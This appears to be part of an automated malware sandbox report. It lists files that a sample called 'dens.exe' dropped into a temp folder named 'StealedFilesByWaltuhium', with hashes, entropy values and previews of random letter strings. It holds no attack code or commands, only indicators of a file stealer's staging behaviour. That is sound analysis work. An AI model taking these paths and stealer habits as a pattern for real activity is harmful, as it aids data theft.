Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\UMMBDNEQBN\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\VLZDGUKUTZ\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\VLZDGUKUTZ\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\VLZDGUKUTZ\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\VLZDGUKUTZ\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\VLZDGUKUTZ\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\XZXHAVGRAG\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\XZXHAVGRAG\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\XZXHAVGRAG\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCM